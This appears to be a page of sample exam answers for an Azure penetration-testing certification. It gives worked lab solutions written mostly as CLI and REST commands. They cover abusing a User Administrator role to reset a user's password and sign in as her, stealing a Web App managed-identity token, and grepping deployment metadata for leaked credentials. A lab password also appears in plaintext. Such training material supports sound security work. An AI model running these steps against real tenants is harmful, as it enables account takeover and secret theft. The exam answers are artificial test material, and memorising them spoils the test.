CCPenX-Az Sample Questions Answers

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

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Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

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The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

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Detailed Solution:

List NSG rules:

az network nsg rule list \

--resource-group rg-prod-apps-eastus \

--nsg-name nsg-prod-linux01 \

--output table

Expected risky rule:

Name Priority Direction Access Protocol Source DestinationPortRange

------------ -------- --------- ------ -------- ------------ --------------------

Allow-SSH 100 Inbound Allow Tcp Internet 22

SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.

Correct answer:

B. Allow TCP 22 from Internet

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f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

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The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

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